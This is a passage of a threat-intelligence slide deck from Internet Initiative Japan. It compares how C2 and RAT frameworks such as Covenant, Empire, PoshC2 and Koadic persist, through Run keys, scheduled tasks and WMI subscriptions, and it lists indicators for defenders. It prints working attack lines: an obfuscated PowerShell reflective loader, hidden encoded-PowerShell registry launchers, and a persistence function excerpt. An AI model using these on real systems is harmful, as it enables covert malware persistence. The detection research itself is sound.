https://github.com/cobbr/Covenant/blob/master/Covenant/Models/Launchers/PowerShellLauncher.cs#L71
Copyright Internet Initiative Japan Inc.

77

Indicators

Covenant

Item

Value

ScriptBlock

sv o (New-Object IO.MemoryStream);sv d (New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘<base64 encode file’>),[IO.Compression.CompressionMode]::Decompress));svb (New-Object Byte[](1024));sv r (gv d).Value.Read((gvb).Value,0,1024);while((gv r).Value -gt 0){(gv o).Value.Write((gv b).Value,0,(gvr).Value);sv r (gv d).Value.Read((gvb).Value,0,1024);}[Reflection.Assembly]::Load((gvo).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null";Copyright Internet Initiative Japan Inc.

78

Threat Intelligence~ Persistence ~Copyright Internet Initiative Japan Inc.

79

Persistence matrix 1
Technique

Registry Run Key/Startup
FolderScheduled Task/Job

Count

Frameworks

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadicMerlinPoshC2
QuasarSliver

7/10

•
•
•
•
•
•
•

AsyncRAT
DcRat
EmpireKoadicPoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

80

Persistence matrix 2
TechniqueCount

Frameworks

4/10

•
•
•
•

Covenant
EmpireKoadicPoshC2

Windows Service

4/10

•
•
•
•

Covenant
Havoc
PoshC2
SliverComponent Object Model
Hijacking

1/10•

Covenant

Image File Execution Options
Injection

1/10•

EmpireWMI Event Subscription

Copyright Internet Initiative Japan Inc.

81

Focus on Run Registry Key/Startup Folder
Technique

Registry Run Key/Startup
FolderScheduled Task/Job

Count

Frameworks

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadicMerlinPoshC2
QuasarSliver

7/10

•
•
•
•
•
•
•

AsyncRAT
DcRat
EmpireKoadicPoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

82

Registry Run key features• All frameworks can add an entry to “HKCU” Registry "Run" key– HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run– All frameworks use Windows API for adding an entry to Registry
Run key• Indicators– Registry key– Registry value name– Registry value type
– Registry value data

Copyright Internet Initiative Japan Inc.

83

Registry Run Keys indicator matrix
Framework

Registry Key

AsyncRATHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

DcRat

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Covenant

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Empire••KoadicHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

MerlinHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

PoshC2

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Quasar••••

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce

Copyright Internet Initiative Japan Inc.

84

Empire and Quasar use multiple Run Registry keys
Framework

Registry Key

AsyncRATHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

DcRat

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Covenant

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Empire••KoadicHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

MerlinHKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

PoshC2

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Quasar••••

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce

Copyright Internet Initiative Japan Inc.

85

Registry value name and registry type indicator matrix
Framework

Name

Type

AsyncRAT<Persistent file name>

REG_SZ

DcRat<Persistent file name>

REG_SZ

Covenant(default) Updater

REG_EXPAND_SZ

Empire(default) Updater

REG_SZ

KoadicK0adicREG_SZ

MerlinUpdateREG_SZ

PoshC2IEUpdater

REG_SZ

Quasar<any name>

REG_SZ

Copyright Internet Initiative Japan Inc.

86

AsyncRAT and DcRat registry value name are persistent
file name
Framework

Name

Type

AsyncRAT<Persistent file name>

REG_SZ

DcRat<Persistent file name>

REG_SZ

Covenant(default) Updater

REG_EXPAND_SZ

Empire(default) Updater

REG_SZ

KoadicK0adicREG_SZ

MerlinUpdateREG_SZ

PoshC2IEUpdater

REG_SZ

Quasar<any name>

REG_SZ

Copyright Internet Initiative Japan Inc.

87

Four frameworks use updater-like names for registryvalue names
Framework

Name

Type

AsyncRAT<Persistent file name>

REG_SZ

DcRat<Persistent file name>

REG_SZ

Covenant(default) Updater

REG_EXPAND_SZ

Empire(default) Updater

REG_SZ

KoadicK0adicREG_SZ

MerlinUpdateREG_SZ

PoshC2IEUpdater

REG_SZ

Quasar<any name>

REG_SZ

Copyright Internet Initiative Japan Inc.

88

Covenant’s registry value type is "REG_EXPAND_SZ"
Framework

Name

Type

AsyncRAT<Persistent file name>

REG_SZ

DcRat<Persistent file name>

REG_SZ

Covenant(default) Updater

REG_EXPAND_SZ

Empire(default) Updater

REG_SZ

KoadicK0adicREG_SZ

MerlinUpdateREG_SZ

PoshC2IEUpdater

REG_SZ

Quasar<any name>

REG_SZ

Copyright Internet Initiative Japan Inc.

89

Indicators

Covenant

Item

Value

Key

•
•

Name

（default）Updater

Type

REG_EXPAND_SZ

Data<any file path>

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Copyright Internet Initiative Japan Inc.

90

Koadic registry value name is "K0adic"!
Framework

Name

Type

AsyncRAT<Persistent file name >REG_SZ

DcRat<Persistent file name >REG_SZ

Covenant(default) Updater

REG_EXPAND_SZ

Empire(default) Updater

REG_SZ

KoadicK0adicREG_SZ

MerlinUpdateREG_SZ

PoshC2IEUpdater

REG_SZ

Quasar<any name>

REG_SZ

Copyright Internet Initiative Japan Inc.

91

Registry value data indicator matrix
Framework

Registry Value Data

AsyncRAT••%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

DcRat

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Covenant<any path>•

Empire•C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"

KoadicC:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta

Merlinwscript %AppData%:<random file name>.vbs

PoshC2

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Quasar<any path>

Copyright Internet Initiative Japan Inc.

92

Persistence path is %AppData% or %Temp%
Framework

Registry Value Data

AsyncRAT••%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

DcRat

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Covenant<any path>•

Empire•C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"

KoadicC:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta

Merlinwscript %AppData%:<random file name>.vbs

PoshC2

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Quasar<any path>

Copyright Internet Initiative Japan Inc.

93

Setting persistence of AsyncRAT, DcRat

AsyncRAT

DcRat• AsyncRAT and DcRat are set to persist at build time
– %AppData% or %Temp%• Only specific directories can be specified in their builders for
persistence

DcRat Builder
Copyright Internet Initiative Japan Inc.

AsyncRAT Builder
94

Indicators

AsyncRAT

DcRat

Item

Value

Key

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Name<any filename>

Data

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

95

Empire and PoshC2 read a registry value and execute it
Framework

Registry Value Data

AsyncRAT••%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

DcRat

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Covenant<any path>•

Empire•C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"

KoadicC:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta

Merlinwscript %AppData%:<random file name>.vbs

PoshC2

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Quasar<any path>

Copyright Internet Initiative Japan Inc.

96

Empire and PoshC2 persistence techniqueEmpirePoshC2• Empire and PoshC2 store data for persistence in the registry– Empire stores a Base64-encoded agent in the registry– PoshC2 stores a Base64-encoded command line in the registrythat executes PowerShell• Persistent launcher reads data from the registry and executes
it
Framework

Registry Key

Name

EmpireHKCU¥SOFTWARE¥Microsoft¥Windows¥
CurrentVersion¥

Debug

PoshC2

HKCU¥SOFTWARE¥Microsoft¥Windows¥
CurrentVersion¥Themes•••

Wallpaper555
Wallpaper666
Wallpaper777

Copyright Internet Initiative Japan Inc.

97

Indicators

Empire

Item

Value

Key

•
•

Name

Debug

Data

<base64 encoded script>

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion

Copyright Internet Initiative Japan Inc.

98

Decoding base64-encoded script with CyberChef

EmpireCopyright Internet Initiative Japan Inc.

99

Execution script with Registry Run key

Empirescript += (<…snip…>
HKCU:Software¥¥Microsoft¥¥Windows¥¥CurrentVersion¥¥Run¥¥ -Name "+ key_name + ' -Value¥'"C:¥¥Windows¥¥System32¥¥WindowsPowerShell¥¥v1.0¥¥powershell.exe" -c"$x='+ location_string + ";powershell -Win Hidden -enc $x¥"';")C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c“$x=((gp HKCU:¥Software¥Microsoft¥Windows¥CurrentVersion
debug).debug);powershell -Win Hidden -enc $x"
https://github.com/BC-SECURITY/Empire/blob/main/empire/server/modules/powershell/persistence/userland/registry.py#L192 -L198
Copyright Internet Initiative Japan Inc.

100

Indicators

Empire

Item

Value

Key

•
•

Name

（default）Updater
•

Data

•

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win Hidden enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win Hidden enc $x"

Copyright Internet Initiative Japan Inc.

101

Indicators

PoshC2

Item

Value

Key

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Themes

Name

•
•
•

Data

powershell -exec bypass -Noninteractive -windowstyle hidden -e<base64 encoded script>

Wallpaper555
Wallpaper666
Wallpaper777

Copyright Internet Initiative Japan Inc.

102

Install-Persistence source code

PoshC2Function Install-Persistence{Param ($Method)if (!$Method){$Method=1}
if ($Method -eq 1) {Set-ItemProperty -Path"Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥"
Wallpaper777 -value "$payload"
Set-ItemProperty -Path"Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥run¥" IEUpdate-value "C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe exec bypass -Noninteractive -windowstyle hidden -c iex (Get-ItemProperty Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallp
aper777"https://github.com/nettitude/PoshC2/blob/master/resources/modules/Stage2-Core.ps1#L152-L158
Copyright Internet Initiative Japan Inc.

103

Indicators

PoshC2

Item

Value

Key

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Name

IEUpdate

Data

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Copyright Internet Initiative Japan Inc.

104

Koadic executes mshta.exe for executing its agent
Framework

Registry Value Data

AsyncRAT••%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

DcRat

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Covenant<any path>•

Empire•C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"

KoadicC:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta

Merlinwscript %AppData%:<random file name>.vbs

PoshC2

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Quasar<any path>

Copyright Internet Initiative Japan Inc.

105

Merlin uses Alternate Data Streams
Framework

Registry Value Data

AsyncRAT••%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

DcRat

•
•

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

Covenant<any path>•

Empire•C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gpHKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win
Hidden -enc $x"

KoadicC:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta

Merlinwscript %AppData%:<random file name>.vbs

PoshC2

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Quasar<any path>

Copyright Internet Initiative Japan Inc.

106

Merlin uses Invoke-ADSBackdoor.ps1 for persistence Merlin• Merlin can be persisted using a module InvokeADSBackdoor.ps1• Invoke-ADSBackdoor.ps1 persists in Run key• Due to a wrong command line for executing InvokeADSBackdoor.ps1, its persistence fails

Copyright Internet Initiative Japan Inc.

107

Focus on Scheduled Task/Job
Technique

Registry Run Key/Startup
FolderScheduled Task/Job

Count

Framework

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadicMerlinPoshC2
QuasarSliver

7/10

•
•
•
•
•
•
•

AsyncRAT
DcRat
EmpireKoadicPoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

108

Scheduled Task features• Tasks are created using schtasks.exe except for Sliver– Sliver uses SharPersist• Indicators– Task name
– Trigger– Operation

Copyright Internet Initiative Japan Inc.

109

Name and trigger indicator matrix
Framework

Name

Triggers

AsyncRAT<persistence file name>onlogonDcRat<persistence file name>onlogonEmpire(default) Updater(default) Daily 09:00 AM

KoadicK0adiconlogonPoshC2IEUpdate

onlogonQuasar<any name>onlogonSliver<any name>•••onlogonHourlyDaily execute from 10:00AM
to 12:00 PM

Copyright Internet Initiative Japan Inc.

110

Five framework task names are same as Registry Run key
Framework

Name

Triggers

AsyncRAT<persistence file name>onlogonDcRat<persistence file name>onlogonEmpire(default) Updater(default) Daily 09:00 AM

KoadicK0adiconlogonPoshC2IEUpdate

onlogonQuasar<any name>onlogonSliver<any name>•••onlogonHourlyDaily execute from 10:00AM
to 12:00 PM

Copyright Internet Initiative Japan Inc.

111

Frameworks other than Empire use onlogon trigger
Framework

Name

Triggers

AsyncRAT<persistence file name>onlogonDcRat<persistence file name>onlogonEmpire(default) Updater(default) Daily 09:00 AM

KoadicK0adiconlogonPoshC2IEUpdate

onlogonQuasar<any name>onlogonSliver<any name>•••onlogonHourlyDaily execute from 10:00AM
to 12:00 PM

Copyright Internet Initiative Japan Inc.

112

Operation indicator matrix
Framework

Operation

AsyncRAT

•
•

DcRat

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

EmpireC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden c ¥"IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))KoadicC:¥Windows¥system32¥mshta.exe C:¥ProgramData¥<random filename>.hta

PoshC2

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (GetItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

Quasar•••Sliver<any command line>%AppData%¥<(option) any subdir>¥<any filename>.exe
C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

113

AsyncRAT, DcRat, and Koadic indicators are same as Run
key
Framework

Operation

AsyncRAT

•
•

DcRat

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

EmpireC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden c ¥"IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))KoadicC:¥Windows¥system32¥mshta.exe C:¥ProgramData¥<random filename>.hta

PoshC2

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (GetItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

Quasar•••Sliver<any command line>%AppData%¥<(option) any subdir>¥<any filename>.exe
C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

114

Empire executes agent with Invoke-Expression(IEX)
Framework

Operation

AsyncRAT

•
•

DcRat

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

EmpireC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden c ¥"IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))KoadicC:¥Windows¥system32¥mshta.exe C:¥ProgramData¥<random filename>.hta

PoshC2

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (GetItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

Quasar•••Sliver<any command line>%AppData%¥<(option) any subdir>¥<any filename>.exe
C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

115

PoshC2 reads “Wallpaper555” registry value to execute an
agent
Framework

Operation

AsyncRAT

•
•

DcRat

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

EmpireC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden c ¥"IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))KoadicC:¥Windows¥system32¥mshta.exe C:¥ProgramData¥<random filename>.hta

PoshC2

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (GetItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

Quasar•••Sliver<any command line>%AppData%¥<(option) any subdir>¥<any filename>.exe
C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

116

Only three paths for Quasar persistence using
schtasks.exe
Framework

Operation

AsyncRAT

•
•

DcRat

%AppData%¥<any filename>.exe%Temp%¥<any filename>.exe

EmpireC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden c ¥"IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))KoadicC:¥Windows¥system32¥mshta.exe C:¥ProgramData¥<random filename>.hta

PoshC2

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (GetItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

Quasar•••Sliver<any command line>%AppData%¥<(option) any subdir>¥<any filename>.exe
C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Copyright Internet Initiative Japan Inc.

117

Focus on WMI Event Subscription
TechniqueCount

Framework

4/10

•
•
•
•

Covenant
EmpireKoadicPoshC2

Windows Service

4/10

•
•
•
•

Covenant
Havoc
PoshC2
SliverComponent Object Model
Hijacking

1/10•

Covenant

Image File Execution Options
Injection

1/10•

EmpireWMI Event Subscription

Copyright Internet Initiative Japan Inc.

118

WMI Event Subscription features• Administrative privileges are required to register a WMI Event
Subscription• All frameworks use WQL for EventFilter• Indicators– Name– Query

Copyright Internet Initiative Japan Inc.

119

WMI Event Subscription name and query indicator matrix
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

120

Empire and Koadic subscription names are same as theirother persistence mechanisms
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

121

PoshC2 subscription name is "backup"
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

122

Covenant WMI query uses lower-case letter
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

123

SharpSploit WMI source code

Covenant

private static ManagementObject CreateEventFilter(string EventName, EventFilter
EventFilter, string ProcessName) {ManagementObject _EventFilter = null;
WMI Query in source code istry {written in capital lettersstring query = string.Empty;
if (EventFilter == EventFilter.ProcessStart) {query = $@"SELECT * FROM Win32_ProcessStartTrace WHERE
ProcessName='{ProcessName}’”;}_EventFilter = wmiEventFilter.CreateInstance();_EventFilter["Name"] = EventName;_EventFilter["Query"] = wql.QueryString;<…snip…>}
https://github.com/cobbr/SharpSploit/blob/4bf3d2aa44d73b674867a1d28cc90a3bd54f100f/SharpSploit/Persistence/WMI.cs#L46-L73
Copyright Internet Initiative Japan Inc.

124

Indicators

Covenant

Item

Value

Name

<any name>Query

select * from Win32_ProcessStartTrace where ProcessName = ‘<anyprocess name>’;CommandLine<any command line>

Copyright Internet Initiative Japan Inc.

125

Empire and Koadic query refer "SystemUpTime"
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325;

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

126

PoshC2 query refers system time
Framework

Name

Query

Covenant<any name>select * from Win32_ProcessStartTrace where
ProcessName = ‘<any process name>’;(default)
Updater(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

K0adic

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

backup(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 10 AND
TargetInstance.Minute = 30 GROUP WITHIN 60

EmpireKoadicPoshC2

Copyright Internet Initiative Japan Inc.

127

Threat Intelligence~ Indicators of External Tools Usage ~Copyright Internet Initiative Japan Inc.

128

External tools features• Many frameworks can utilize external tools as modules– There are many credential theft tools such as Mimikatz and Rubeus• The use of external tools may be recorded in event logs as
indicators• Patterns that remain as an indicator for each framework
Pattern

Framework

Download external tools•

MerlinLoad external tools

•
•
•
•

EmpireKoadicMerlinPoshC2

Inject external tools•

SliverCopyright Internet Initiative Japan Inc.

129

Merlin downloads external tools from GitHub

